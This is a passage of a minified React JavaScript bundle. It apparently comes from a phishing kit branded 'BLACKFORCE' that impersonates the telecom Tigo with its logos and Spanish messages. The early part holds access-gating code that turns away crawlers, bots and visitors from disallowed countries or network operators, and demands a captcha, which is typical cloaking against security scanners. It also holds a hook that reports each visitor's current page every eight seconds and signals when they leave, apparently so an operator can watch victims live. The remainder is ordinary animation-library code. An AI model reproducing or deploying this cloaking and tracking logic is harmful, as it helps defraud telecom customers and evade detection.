gap-3 rounded-lg px-3 py-2 transition-all hover:text-primary relative group ${S?"bg-muted text-primary":"text-muted-foreground"}`,title:u?y.name:void 0,children:[o.jsx(w,{className:"h-4 w-4 flex-shrink-0"}),!u&&o.jsx("span",{className:"transition-opacity duration-200",children:y.name}),u&&o.jsx("div",{className:"absolute left-full ml-2 px-2 py-1 bg-popover text-popover-foreground text-xs rounded-md shadow-md opacity-0 group-hover:opacity-100 transition-opacity duration-200 pointer-events-none whitespace-nowrap z-50",children:y.name})]},y.name)})})})]})}),o.jsxs("div",{className:"w-full flex flex-col relative z-10",children:[o.jsxs("header",{className:"flex h-14 items-center gap-4 dark:border-[#131313] border-b bg-muted/20 px-4 lg:h-[60px] lg:px-6",children:[o.jsxs(DL,{open:i,onOpenChange:c,children:[o.jsx(RL,{asChild:!0,children:o.jsxs(De,{variant:"outline",size:"icon",className:"shrink-0 md:hidden bg-transparent",children:[o.jsx(z9,{className:"h-5 w-5"}),o.jsx("span",{className:"sr-only",children:"Toggle navigation menu"})]})}),o.jsx(pA,{side:"left",className:"flex flex-col",title:"Navigation Menu",description:"Main navigation for the dashboard",hideTitle:!0,hideDescription:!0,children:o.jsxs("nav",{className:"grid gap-2 text-lg font-medium mt-6",children:[o.jsxs(gs,{to:"/",className:"flex items-center gap-2 text-lg font-semibold mb-6",onClick:p,children:[o.jsx(q0,{className:"h-6 w-6"}),o.jsx("span",{children:"BLACKFORCE"})]}),m.map(y=>{const w=y.icon,S=h(y.href);return o.jsxs(gs,{to:y.href,onClick:p,className:`mx-[-0.65rem] flex items-center gap-4 rounded-xl px-3 py-2 hover:text-foreground transition-colors ${S?"bg-muted text-foreground":"text-muted-foreground"}`,children:[o.jsx(w,{className:"h-5 w-5"}),y.name]},y.name)})]})})]}),o.jsx(De,{variant:"ghost",size:"icon",onClick:x,className:"hidden md:flex h-8 w-8 hover:bg-muted/50",title:u?"Expand sidebar":"Collapse sidebar",children:u?o.jsx(Z7,{className:"h-4 w-4"}):o.jsx(W7,{className:"h-4 w-4"})}),o.jsx("div",{className:"w-full flex-1"}),o.jsx("div",{className:"flex items-center gap-3",children:o.jsxs(De,{variant:"outline",size:"icon",className:"h-8 w-8 bg-transparent",onClick:g,children:[o.jsx(O9,{className:"h-4 w-4 text-red-600"}),o.jsx("span",{className:"sr-only",children:"Logout"})]})})]}),o.jsxs("div",{className:"w-full flex flex-1 flex-col gap-2 p-2 sm:gap-3 sm:p-3 md:gap-4 md:p-4 lg:gap-6 lg:p-6 relative min-w-0 overflow-x-hidden",children:[o.jsx("div",{className:"absolute inset-0 pattern-advanced-grid-sm opacity-40 dark:opacity-20 pointer-events-none"}),o.jsx("div",{className:"absolute inset-0 bg-gradient-to-t from-background/80 via-transparent to-background/60 pointer-events-none"}),o.jsx("div",{className:"w-full relative z-10",children:o.jsx(Ru,{})})]})]})]}),o.jsx(FL,{})]})},yA=({children:e,onValidationFailed:t=null,showLoadingSpinner:n=!0,loadingComponent:s=null,errorComponent:i=null})=>{const[c,u]=C.useState({isValidating:!0,isAuthorized:!1,error:null}),d=Qt(),m=la(),h=Ca(),{userid:p}=Wt(),x=C.useCallback(async()=>{if(!p){u({isValidating:!1,isAuthorized:!1,error:{message:"User ID not available",reason:"invalid_credentials",status:400}});return}u(g=>({...g,isValidating:!0,error:null}));try{const g=await d.middleware(`/validate/${p}`);if(g.success){u({isValidating:!1,isAuthorized:!0,error:null});return}const y={message:g.message||g.error||"Validation failed",reason:g.reason||"unknown",status:400};if(y.reason==="captcha_required"){if(sessionStorage.getItem(`captcha_ok_${p}`)){u({isValidating:!1,isAuthorized:!0,error:null});return}h.pathname!==Ki?(u({isValidating:!1,isAuthorized:!1,error:null}),m(Ki,{replace:!0})):u({isValidating:!1,isAuthorized:!1,error:null});return}u({isValidating:!1,isAuthorized:!1,error:y}),t&&t(y)}catch(g){console.log("Middleware error:",g);const y={message:g.message||"Validation failed",reason:g.reason||"unknown",status:g.status||500};if(y.reason==="captcha_required"){if(sessionStorage.getItem(`captcha_ok_${p}`)){u({isValidating:!1,isAuthorized:!0,error:null});return}h.pathname!==Ki?(u({isValidating:!1,isAuthorized:!1,error:null}),m(Ki,{replace:!0})):u({isValidating:!1,isAuthorized:!1,error:null});return}u({isValidating:!1,isAuthorized:!1,error:y}),t&&t(y)}},[d,p,t,m,h.pathname]);if(C.useEffect(()=>{p&&x()},[p]),c.isValidating)return s||(n?o.jsxs("div",{className:"flex flex-col items-center justify-center min-h-screen bg-[#00377d]",children:[o.jsx("img",{src:"/assets/tigo-logo-circle.png",alt:"Tigo",className:"w-14 h-14 rounded-xl mb-6"}),o.jsx("div",{className:"w-10 h-10 border-4 border-white/20 border-t-white rounded-full animate-spin"}),o.jsx("p",{className:"text-white/80 text-sm mt-4 font-medium",children:"Cargando..."})]}):null);if(!c.isAuthorized&&c.error){if(i)return i;const{error:g}=c;return o.jsx("div",{className:"flex items-center justify-center min-h-screen bg-[#f5f5f5]",children:o.jsx("div",{className:"max-w-md w-full mx-4",children:o.jsxs("div",{className:"bg-white rounded-2xl shadow-lg overflow-hidden",children:[o.jsx("div",{className:"bg-[#00377d] px-6 py-4 flex justify-center",children:o.jsx("img",{src:"/assets/tigo-text-white.png",alt:"Tigo",className:"h-7"})}),o.jsxs("div",{className:"p-6 text-center",children:[o.jsx("div",{className:"mx-auto flex items-center justify-center h-14 w-14 rounded-full bg-red-50 mb-4",children:o.jsx("svg",{className:"h-7 w-7 text-red-500",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L3.732 16.5c-.77.833.192 2.5 1.732 2.5z"})})}),o.jsx("h3",{className:"text-lg font-bold text-gray-900 mb-2",children:"Acceso Denegado"}),o.jsx("p",{className:"text-sm text-gray-600 mb-4",children:VL(g.reason,g.message)}),UL(g.reason)&&o.jsx("p",{className:"text-xs text-gray-400",children:"Si crees que esto es un error, contacta a soporte."})]})]})})})}return c.isAuthorized?e:null},VL=(e,t)=>({invalid_credentials:"Credenciales de acceso no válidas.",client_not_found:"No se pudo verificar tu sesión. Actualiza la página.",crawler_detected:"Se detectó acceso automatizado. Usa un navegador regular.",country_not_allowed:"El acceso desde tu ubicación no está permitido.",operator_blacklist:"El acceso desde tu proveedor de red está restringido.",operator_whitelist:"Tu proveedor de red no está autorizado.",bot_detected:"Se detectó actividad de bot. El acceso no está permitido.",captcha_required:"Por favor completa la verificación de seguridad.",network_error:"Error de conexión. Verifica tu conexión a internet.",unknown:"No se pudieron verificar los permisos de acceso."})[e]||t||"La verificación de acceso falló.",UL=e=>["crawler_detected","country_not_allowed","operator_blacklist","operator_whitelist","bot_detected"].includes(e),IL=8e3,HL="/api".replace(/\/$/,"");function Af(){return typeof document<"u"&&document.visibilityState==="visible"}function qL(e){const t=`${HL}/client/${e}/away`,n=JSON.stringify({});if(typeof navigator<"u"&&navigator.sendBeacon){navigator.sendBeacon(t,new Blob([n],{type:"application/json"}));return}bt.post(`client/${e}/away`,{})}function bA(){const{userid:e}=Wt(),t=Ca(),n=C.useRef(t.pathname),s=C.useRef(e);n.current=t.pathname,s.current=e;const i=C.useCallback(async()=>{const u=s.current;if(!(!u||!Af()))try{await bt.post(`client/${u}/heartbeat`,{last_page:n.current})}catch{}},[]),c=C.useCallback(()=>{const u=s.current;u&&qL(u)},[]);return C.useEffect(()=>()=>c(),[c]),C.useEffect(()=>{if(!e)return;let u=null;const d=()=>{Af()&&(i(),u&&clearInterval(u),u=setInterval(()=>{Af()&&i()},IL))},m=()=>{u&&(clearInterval(u),u=null)},h=()=>{document.visibilityState==="visible"?d():(m(),c())},p=()=>{m(),c()};return Af()&&d(),document.addEventListener("visibilitychange",h),window.addEventListener("pagehide",p),()=>{m(),document.removeEventListener("visibilitychange",h),window.removeEventListener("pagehide",p)}},[e,i,c]),null}const Zv=C.createContext({});function Jv(e){const t=C.useRef(null);return t.current===null&&(t.current=e()),t.current}const ey=typeof window<"u",wA=ey?C.useLayoutEffect:C.useEffect,Dh=C.createContext(null);function ty(e,t){e.indexOf(t)===-1&&e.push(t)}function ny(e,t){const n=e.indexOf(t);n>-1&&e.splice(n,1)}const Er=(e,t,n)=>n>t?t:n<e?e:n;let ay=()=>{};const jr={},CA=e=>/^-?(?:\d+(?:\.\d+)?|\.\d+)$/u.test(e);function SA(e){return typeof e=="object"&&e!==null}const NA=e=>/^0[^.\s]+$/u.test(e);function sy(e){let t;return()=>(t===void 0&&(t=e()),t)}const as=e=>e,$L=(e,t)=>n=>t(e(n)),Iu=(...e)=>e.reduce($L),xu=(e,t,n)=>{const s=t-e;return s===0?1:(n-e)/s};class ry{constructor(){this.subscriptions=[]}add(t){return ty(this.subscriptions,t),()=>ny(this.subscriptions,t)}notify(t,n,s){const i=this.subscriptions.length;if(i)if(i===1)this.subscriptions[0](t,n,s);else for(let c=0;c<i;c++){const u=this.subscriptions[c];u&&u(t,n,s)}}getSize(){return this.subscriptions.length}clear(){this.subscriptions.length=0}}const Us=e=>e*1e3,ns=e=>e/1e3;function EA(e,t){return t?e*(1e3/t):0}const jA=(e,t,n)=>(((1-3*n+3*t)*e+(3*n-6*t))*e+3*t)*e,GL=1e-7,YL=12;function KL(e,t,n,s,i){let c,u,d=0;do u=t+(n-t)/2,c=jA(u,s,i)-e,c>0?n=u:t=u;while(Math.abs(c)>GL&&++d<YL);return u}function Hu(e,t,n,s){if(e===t&&n===s)return as;const i=c=>KL(c,0,1,e,n);return c=>c===0||c===1?c:jA(i(c),t,s)}const AA=e=>t=>t<=.5?e(2*t)/2:(2-e(2*(1-t)))/2,TA=e=>t=>1-e(1-t),DA=Hu(.33,1.53,.69,.99),iy=TA(DA),RA=AA(iy),_A=e=>(e*=2)<1?.5*iy(e):.5*(2-Math.pow(2,-10*(e-1))),oy=e=>1-Math.sin(Math.acos(e)),kA=TA(oy),BA=AA(oy),XL=Hu(.42,0,1,1),WL=Hu(0,0,.58,1),MA=Hu(.42,0,.58,1),QL=e=>Array.isArray(e)&&typeof e[0]!="number",FA=e=>Array.isArray(e)&&typeof e[0]=="number",ZL={linear:as,easeIn:XL,easeInOut:MA,easeOut:WL,circIn:oy,circInOut:BA,circOut:kA,backIn:iy,backInOut:RA,backOut:DA,anticipate:_A},JL=e=>typeof e=="string",$4=e=>{if(FA(e)){ay(e.length===4);const[t,n,s,i]=e;return Hu(t,n,s,i)}else if(JL(e))return ZL[e];return e},Tf=["setup","read","resolveKeyframes","preUpdate","update","preRender","render","postRender"];function eP(e,t){let n=new Set,s=new Set,i=!1,c=!1;const u=new WeakSet;let d={delta:0,timestamp:0,isProcessing:!1};function m(p){u.has(p)&&(h.schedule(p),e()),p(d)}const h={schedule:(p,x=!1,g=!1)=>{const w=g&&i?n:s;return x&&u.add(p),w.has(p)||w.add(p),p},cancel:p=>{s.delete(p),u.delete(p)},process:p=>{if(d=p,i){c=!0;return}i=!0,[n,s]=[s,n],n.forEach(m),n.clear(),i=!1,c&&(c=!1,h.process(p))}};return h}const tP=40;function OA(e,t){let n=!1,s=!0;const i={delta:0,timestamp:0,isProcessing:!1},c=()=>n=!0,u=Tf.reduce((A,j)=>(A[j]=eP(c),A),{}),{setup:d,read:m,resolveKeyframes:h,preUpdate:p,update:x,preRender:g,render:y,postRender:w}=u,S=()=>{const A=jr.useManualTiming?i.timestamp:performance.now();n=!1,jr.useManualTiming||(i.delta=s?1e3/60:Math.max(Math.min(A-i.timestamp,tP),1)),i.timestamp=A,i.isProcessing=!0,d.process(i),m.process(i),h.process(i),p.process(i),x.process(i),g.process(i),y.process(i),w.process(i),i.isProcessing=!1,n&&t&&(s=!1,e(S))},N=()=>{n=!0,s=!0,i.isProcessing||e(S)};return{schedule:Tf.reduce((A,j)=>{const R=u[j];return A[j]=(D,k=!1,B=!1)=>(n||N(),R.schedule(D,k,B)),A},{}),cancel:A=>{for(let j=0;j<Tf.length;j++)u[Tf[j]].cancel(A)},state:i,steps:u}}const{schedule:Xt,cancel:hi,state:$n,steps:_x}=OA(typeof requestAnimationFrame<"u"?requestAnimationFrame:as,!0);let R0;function nP(){R0=void 0}const ya={now:()=>(R0===void 0&&ya.set($n.isProcessing||jr.useManualTiming?$n.timestamp:performance.now()),R0),set:e=>{R0=e,queueMicrotask(nP)}},LA=e=>t=>typeof t=="string"&&t.startsWith(e),ly=LA("--"),aP=LA("var(--"),cy=e=>aP(e)?sP.test(e.split("/*")[0].trim()):!1,sP=/var\(--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)$/iu,Il={test:e=>typeof e=="number",parse:parseFloat,transform:e=>e},gu={...Il,transform:e=>Er(0,1,e)},Df={...Il,default:1},Jc=e=>Math.round(e*1e5)/1e5,uy=/-?(?:\d+(?:\.\d+)?|\.\d+)/gu;function rP(e){return e==null}const iP=/^(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))$/iu,dy=(e,t)=>n=>!!(typeof n=="string"&&iP.test(n)&&n.startsWith(e)||t&&!rP(n)&&Object.prototype.hasOwnProperty.call(n,t)),PA=(e,t,n)=>s=>{if(typeof s!="string")return s;const[i,c,u,d]=s.match(uy);return{[e]:parseFloat(i),[t]:parseFloat(c),[n]:parseFloat(u),alpha:d!==void 0?parseFloat(d):1}},oP=e=>Er(0,255,e),kx={...Il,transform:e=>Math.round(oP(e))},Wi={test:dy("rgb","red"),parse:PA("red","green","blue"),transform:({red:e,green:t,blue:n,alpha:s=1})=>"rgba("+kx.transform(e)+", "+kx.transform(t)+", "+kx.transform(n)+", "+Jc(gu.transform(s))+")"};function lP(e){let t="",n="",s="",i="";return e.length>5?(t=e.substring(1,3),n=e.substring(3,5),s=e.substring(5,7),i=e.substring(7,9)):(t=e.substring(1,2),n=e.substring(2,3),s=e.substring(3,4),i=e.substring(4,5),t+=t,n+=n,s+=s,i+=i),{red:parseInt(t,16),green:parseInt(n,16),blue:parseInt(s,16),alpha:i?parseInt(i,16)/255:1}}const _g={test:dy("#"),parse:lP,transform:Wi.transform},qu=e=>({test:t=>typeof t=="string"&&t.endsWith(e)&&t.split(" ").length===1,parse:parseFloat,transform:t=>`${t}${e}`}),ni=qu("deg"),Is=qu("%"),et=qu("px"),cP=qu("vh"),uP=qu("vw"),G4={...Is,parse:e=>Is.parse(e)/100,transform:e=>Is.transform(e*100)},fl={test:dy("hsl","hue"),parse:PA("hue","saturation","lightness"),transform:({hue:e,saturation:t,lightness:n,alpha:s=1})=>"hsla("+Math.round(e)+", "+Is.transform(Jc(t))+", "+Is.transform(Jc(n))+", "+Jc(gu.transform(s))+")"},En={test:e=>Wi.test(e)||_g.test(e)||fl.test(e),parse:e=>Wi.test(e)?Wi.parse(e):fl.test(e)?fl.parse(e):_g.parse(e),transform:e=>typeof e=="string"?e:e.hasOwnProperty("red")?Wi.transform(e):fl.transform(e),getAnimatableNone:e=>{const t=En.parse(e);return t.alpha=0,En.transform(t)}},dP=/(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))/giu;function fP(e){return isNaN(e)&&typeof e=="string"&&(e.match(uy)?.length||0)+(e.match(dP)?.length||0)>0}const zA="number",VA="color",hP="var",mP="var(",Y4="${}",pP=/var\s*\(\s*--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)|#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\)|-?(?:\d+(?:\.\d+)?|\.\d+)/giu;function vu(e){const t=e.toString(),n=[],s={color:[],number:[],var:[]},i=[];let c=0;const d=t.replace(pP,m=>(En.test(m)?(s.color.push(c),i.push(VA),n.push(En.parse(m))):m.startsWith(mP)?(s.var.push(c),i.push(hP),n.push(m)):(s.number.push(c),i.push(zA),n.push(parseFloat(m))),++c,Y4)).split(Y4);return{values:n,split:d,indexes:s,types:i}}function UA(e){return vu(e).values}function IA(e){const{split:t,types:n}=vu(e),s=t.length;return i=>{let c="";for(let u=0;u<s;u++)if(c+=t[u],i[u]!==void 0){const d=n[u];d===zA?c+=Jc(i[u]):d===VA?c+=En.transform(i[u]):c+=i[u]}return c}}const xP=e=>typeof e=="number"?0:En.test(e)?En.getAnimatableNone(e):e;function gP(e){const t=UA(e);return IA(e)(t.map(xP))}const mi={test:fP,parse:UA,createTransformer:IA,getAnimatableNone:gP};function Bx(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+(t-e)*6*n:n<1/2?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function vP({hue:e,saturation:t,lightness:n,alpha:s}){e/=360,t/=100,n/=100;let i=0,c=0,u=0;if(!t)i=c=u=n;else{const d=n<.5?n*(1+t):n+t-n*t,m=2*n-d;i=Bx(m,d,e+1/3),c=Bx(m,d,e),u=Bx(m,d,e-1/3)}return{red:Math.round(i*255),green:Math.round(c*255),blue:Math.round(u*255),alpha:s}}function K0(e,t){return n=>n>0?t:e}const tn=(e,t,n)=>e+(t-e)*n,Mx=(e,t,n)=>{const s=e*e,i=n*(t*t-s)+s;return i<0?0:Math.sqrt(i)},yP=[_g,Wi,fl],bP=e=>yP.find(t=>t.test(e));function K4(e){const t=bP(e);if(!t)return!1;let n=t.parse(e);return t===fl&&(n=vP(n)),n}const X4=(e,t)=>{const n=K4(e),s=K4(t);if(!n||!s)return K0(e,t);const i={...n};return c=>(i.red=Mx(n.red,s.red,c),i.green=Mx(n.green,s.green,c),i.blue=Mx(n.blue,s.blue,c),i.alpha=tn(n.alpha,s.alpha,c),Wi.transform(i))},kg=new Set(["none","hidden"]);function wP(e,t){return kg.has(e)?n=>n<=0?e:t:n=>n>=1?t:e}function CP(e,t){return n=>tn(e,t,n)}function fy(e){return typeof e=="number"?CP:typeof e=="string"?cy(e)?K0:En.test(e)?X4:EP:Array.isArray(e)?HA:typeof e=="object"?En.test(e)?X4:SP:K0}function HA(e,t){const n=[...e],s=n.length,i=e.map((c,u)=>fy(c)(c,t[u]));return c=>{for(let u=0;u<s;u++)n[u]=i[u](c);return n}}function SP(e,t){const n={...e,...t},s={};for(const i in n)e[i]!==void 0&&t[i]!==void 0&&(s[i]=fy(e[i])(e[i],t[i]));return i=>{for(const c in s)n[c]=s[c](i);return n}}function NP(e,t){const n=[],s={color:0,var:0,number:0};for(let i=0;i<t.values.length;i++){const c=t.types[i],u=e.indexes[c][s[c]],d=e.values[u]??0;n[i]=d,s[c]++}return n}const EP=(e,t)=>{const n=mi.createTransformer(t),s=vu(e),i=vu(t);return s.indexes.var.length===i.indexes.var.length&&s.indexes.color.length===i.indexes.color.length&&s.indexes.number.length>=i.indexes.number.length?kg.has(e)&&!i.values.length||kg.has(t)&&!s.values.length?wP(e,t):Iu(HA(NP(s,i),i.values),n):K0(e,t)};function qA(e,t,n){return typeof e=="number"&&typeof t=="number"&&typeof n=="number"?tn(e,t,n):fy(e)(e,t)}const jP=e=>{const t=({timestamp:n})=>e(n);return{start:(n=!0)=>Xt.update(t,n),stop:()=>hi(t),now:()=>$n.isProcessing?$n.timestamp:ya.now()}},$A=(e,t,n=10)=>{let s="";const i=Math.max(Math.round(t/n),2);for(let c=0;c<i;c++)s+=Math.round(e(c/(i-1))*1e4)/1e4+", ";return`linear(${s.substring(0,s.length-2)})`},X0=2e4;function hy(e){let t=0;const n=50;let s=e.next(t);for(;!s.done&&t<X0;)t+=n,s=e.next(t);return t>=X0?1/0:t}function AP(e,t=100,n){const s=n({...e,keyframes:[0,t]}),i=Math.min(hy(s),X0);return{type:"keyframes",ease:c=>s.next(i*c).value/t,duration:ns(i)}}const TP=5;function GA(e,t,n){const s=Math.max(t-TP,0);return EA(n-e(s),t-s)}const ln={stiffness:100,damping:10,mass:1,velocity:0,duration:800,bounce:.3,visualDuration:.3,restSpeed:{granular:.01,default:2},restDelta:{granular:.005,default:.5},minDuration:.01,maxDuration:10,minDamping:.05,maxDamping:1},Fx=.001;function DP({duration:e=ln.duration,bounce:t=ln.bounce,velocity:n=ln.velocity,mass:s=ln.mass}){let i,c,u=1-t;u=Er(ln.minDamping,ln.maxDamping,u),e=Er(ln.minDuration,ln.maxDuration,ns(e)),u<1?(i=h=>{const p=h*u,x=p*e,g=p-n,y=Bg(h,u),w=Math.exp(-x);return Fx-g/y*w},c=h=>{const x=h*u*e,g=x*n+n,y=Math.pow(u,2)*Math.pow(h,2)*e,w=Math.exp(-x),S=Bg(Math.pow(h,2),u);return(-i(h)+Fx>0?-1:1)*((g-y)*w)/S}):(i=h=>{const p=Math.exp(-h*e),x=(h-n)*e+1;return-Fx+p*x},c=h=>{const p=Math.exp(-h*e),x=(n-h)*(e*e);return p*x});const d=5/e,m=_P(i,c,d);if(e=Us(e),isNaN(m))return{stiffness:ln.stiffness,damping:ln.damping,duration:e};{const h=Math.pow(m,2)*s;return{stiffness:h,damping:u*2*Math.sqrt(s*h),duration:e}}}const RP=12;function _P(e,t,n){let s=n;for(let i=1;i<RP;i++)s=s-e(s)/t(s);return s}function Bg(e,t){return e*Math.sqrt(1-t*t)}const kP=["duration","bounce"],BP=["stiffness","damping","mass"];function W4(e,t){return t.some(n=>e[n]!==void 0)}function MP(e){let t={velocity:ln.velocity,stiffness:ln.stiffness,damping:ln.damping,mass:ln.mass,isResolvedFromDuration:!1,...e};if(!W4(e,BP)&&W4(e,kP))if(e.visualDuration){const n=e.visualDuration,s=2*Math.PI/(n*1.2),i=s*s,c=2*Er(.05,1,1-(e.bounce||0))*Math.sqrt(i);t={...t,mass:ln.mass,stiffness:i,damping:c}}else{const n=DP(e);t={...t,...n,mass:ln.mass},t.isResolvedFromDuration=!0}return t}function W0(e=ln.visualDuration,t=ln.bounce){const n=typeof e!="object"?{visualDuration:e,keyframes:[0,1],bounce:t}:e;let{restSpeed:s,restDelta:i}=n;const c=n.keyframes[0],u=n.keyframes[n.keyframes.length-1],d={done:!1,value:c},{stiffness:m,damping:h,mass:p,duration:x,velocity:g,isResolvedFromDuration:y}=MP({...n,velocity:-ns(n.velocity||0)}),w=g||0,S=h/(2*Math.sqrt(m*p)),N=u-c,T=ns(Math.sqrt(m/p)),E=Math.abs(N)<5;s||(s=E?ln.restSpeed.granular:ln.restSpeed.default),i||(i=E?ln.restDelta.granular:ln.restDelta.default);let A;if(S<1){const R=Bg(T,S);A=D=>{const k=Math.exp(-S*T*D);return u-k*((w+S*T*N)/R*Math.sin(R*D)+N*Math.cos(R*D))}}else if(S===1)A=R=>u-Math.exp(-T*R)*(N+(w+T*N)*R);else{const R=T*Math.sqrt(S*S-1);A=D=>{const k=Math.exp(-S*T*D),B=Math.min(R*D,300);return u-k*((w+S*T*N)*Math.sinh(B)+R*N*Math.cosh(B))/R}}const j={calculatedDuration:y&&x||null,next:R=>{const D=A(R);if(y)d.done=R>=x;else{let k=R===0?w:0;S<1&&(k=R===0?Us(w):GA(A,R,D));const B=Math.abs(k)<=s,I=Math.abs(u-D)<=i;d.done=B&&I}return d.value=d.done?u:D,d},toString:()=>{const R=Math.min(hy(j),X0),D=$A(k=>j.next(R*k).value,R,30);return R+"ms "+D},toTransition:()=>{}};return j}W0.applyToOptions=e=>{const t=AP(e,100,W0);return e.ease=t.ease,e.duration=Us(t.duration),e.type="keyframes",e};function Mg({keyframes:e,velocity:t=0,power:n=.8,timeConstant:s=325,bounceDamping:i=10,bounceStiffness:c=500,modifyTarget:u,min:d,max:m,restDelta:h=.5,restSpeed:p}){const x=e[0],g={done:!1,value:x},y=B=>d!==void 0&&B<d||m!==void 0&&B>m,w=B=>d===void 0?m:m===void 0||Math.abs(d-B)<Math.abs(m-B)?d:m;let S=n*t;const N=x+S,T=u===void 0?N:u(N);T!==N&&(S=T-x);const E=B=>-S*Math.exp(-B/s),A=B=>T+E(B),j=B=>{const I=E(B),z=A(B);g.done=Math.abs(I)<=h,g.value=g.done?T:z};let R,D;const k=B=>{y(g.value)&&(R=B,D=W0({keyframes:[g.value,w(g.value)],velocity:GA(A,B,g.value),damping:i,stiffness:c,restDelta:h,restSpeed:p}))};return k(0),{calculatedDuration:null,next:B=>{let I=!1;return!D&&R===void 0&&(I=!0,j(B),k(B)),R!==void 0&&B>=R?D.next(B-R):(!I&&j(B),g)}}}function FP(e,t,n){const s=[],i=n||jr.mix||qA,c=e.length-1;for(let u=0;u<c;u++){let d=i(e[u],e[u+1]);if(t){const m=Array.isArray(t)?t[u]||as:t;d=Iu(m,d)}s.push(d)}return s}function OP(e,t,{clamp:n=!0,ease:s,mixer:i}={}){const c=e.length;if(ay(c===t.length),c===1)return()=>t[0];if(c===2&&t[0]===t[1])return()=>t[1];const u=e[0]===e[1];e[0]>e[c-1]&&(e=[...e].reverse(),t=[...t].reverse());const d=FP(t,s,i),m=d.length,h=p=>{if(u&&p<e[0])return t[0];let x=0;if(m>1)for(;x<e.length-2&&!(p<e[x+1]);x++);const g=xu(e[x],e[x+1],p);return d[x](g)};return n?p=>h(Er(e[0],e[c-1],p)):h}function LP(e,t){const n=e[e.length-1];for(let s=1;s<=t;s++){const i=xu(0,t,s);e.push(tn(n,1,i))}}function PP(e){const t=[0];return LP(t,e.length-1),t}function zP(e,t){return e.map(n=>n*t)}function VP(e,t){return e.map(()=>t||MA).splice(0,e.length-1)}function eu({duration:e=300,keyframes:t,times:n,ease:s="easeInOut"}){const i=QL(s)?s.map($4):$4(s),c={done:!1,value:t[0]},u=zP(n&&n.length===t.length?n:PP(t),e),d=OP(u,t,{ease:Array.isArray(i)?i:VP(t,i)});return{calculatedDuration:e,next:m=>(c.value=d(m),c.done=m>=e,c)}}const UP=e=>e!==null;function my(e,{repeat:t,repeatType:n="loop"},s,i=1){const c=e.filter(UP),d=i<0||t&&n!=="loop"&&t%2===1?0:c.length-1;return!d||s===void 0?c[d]:s}const IP={decay:Mg,inertia:Mg,tween:eu,keyframes:eu,spring:W0};function YA(e){typeof e.type=="string"&&(e.type=IP[e.type])}class py{constructor(){this.updateFinished()}get finished(){return this._finished}updateFinished(){this._finished=new Promise(t=>{this.resolve=t})}notifyFinished(){this.resolve()}then(t,n){return this.finished.then(t,n)}}const HP=e=>e/100;class xy extends py{constructor(t){super(),this.state="idle",this.startTime=null,this.isStopped=!1,this.currentTime=0,this.holdTime=null,this.playbackSpeed=1,this.stop=()=>{const{motionValue:n}=this.options;n&&n.updatedAt!==ya.now()&&this.tick(ya.now()),this.isStopped=!0,this.state!=="idle"&&(this.teardown(),this.options.onStop?.())},this.options=t,this.initAnimation(),this.play(),t.autoplay===!1&&this.pause()}initAnimation(){const{options:t}=this;YA(t);const{type:n=eu,repeat:s=0,repeatDelay:i=0,repeatType:c,velocity:u=0}=t;let{keyframes:d}=t;const m=n||eu;m!==eu&&typeof d[0]!="number"&&(this.mixKeyframes=Iu(HP,qA(d[0],d[1])),d=[0,100]);const h=m({...t,keyframes:d});c==="mirror"&&(this.mirroredGenerator=m({...t,keyframes:[...d].reverse(),velocity:-u})),h.calculatedDuration===null&&(h.calculatedDuration=hy(h));const{calculatedDuration:p}=h;this.calculatedDuration=p,this.resolvedDuration=p+i,this.totalDuration=this.resolvedDuration*(s+1)-i,this.generator=h}updateTime(t){const n=Math.round(t-this.startTime)*this.playbackSpeed;this.holdTime!==null?this.currentTime=this.holdTime:this.currentTime=n}tick(t,n=!1){const{generator:s,totalDuration:i,mixKeyframes:c,mirroredGenerator:u,resolvedDuration:d,calculatedDuration:m}=this;if(this.startTime===null)return s.next(0);const{delay:h=0,keyframes:p,repeat:x,repeatType:g,repeatDelay:y,type:w,onUpdate:S,finalKeyframe:N}=this.options;this.speed>0?this.startTime=Math.min(this.startTime,t):this.speed<0&&(this.startTime=Math.min(t-i/this.speed,this.startTime)),n?this.currentTime=t:this.updateTime(t);const T=this.currentTime-h*(this.playbackSpeed>=0?1:-1),E=this.playbackSpeed>=0?T<0:T>i;this.currentTime=Math.max(T,0),this.state==="finished"&&this.holdTime===null&&(this.currentTime=i);let A=this.currentTime,j=s;if(x){const B=Math.min(this.currentTime,i)/d;let I=Math.floor(B),z=B%1;!z&&B>=1&&(z=1),z===1&&I--,I=Math.min(I,x+1),!!(I%2)&&(g==="reverse"?(z=1-z,y&&(z-=y/d)):g==="mirror"&&(j=u)),A=Er(0,1,z)*d}const R=E?{done:!1,value:p[0]}:j.next(A);c&&(R.value=c(R.value));let{done:D}=R;!E&&m!==null&&(D=this.playbackSpeed>=0?this.currentTime>=i:this.currentTime<=0);const k=this.holdTime===null&&(this.state==="finished"||this.state==="running"&&D);return k&&w!==Mg&&(R.value=my(p,this.options,N,this.speed)),S&&S(R.value),k&&this.finish(),R}then(t,n){return this.finished.then(t,n)}get duration(){return ns(this.calculatedDuration)}get iterationDuration(){const{delay:t=0}=this.options||{};return this.duration+ns(t)}get time(){return ns(this.currentTime)}set time(t){t=Us(t),this.currentTime=t,this.startTime===null||this.holdTime!==null||this.playbackSpeed===0?this.holdTime=t:this.driver&&(this.startTime=this.driver.now()-t/this.playbackSpeed),this.driver?.start(!1)}get speed(){return this.playbackSpeed}set speed(t){this.updateTime(ya.now());const 